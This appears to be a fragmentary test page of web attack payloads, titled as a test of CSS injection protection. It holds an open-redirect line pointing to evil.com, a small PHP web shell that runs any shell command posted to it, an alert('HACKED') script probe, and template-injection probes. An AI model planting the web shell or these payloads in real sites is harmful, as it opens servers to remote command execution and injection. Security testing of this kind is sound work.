Testing CSS Injection Protection
location=”https://evil.com”Open Redirect Test Page
demo test
<!–?php
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
echo "” . shell_exec($cmd) . “”;
}
?>
alert(‘HACKED’)
html
<%=7*7%>
({{7*7}})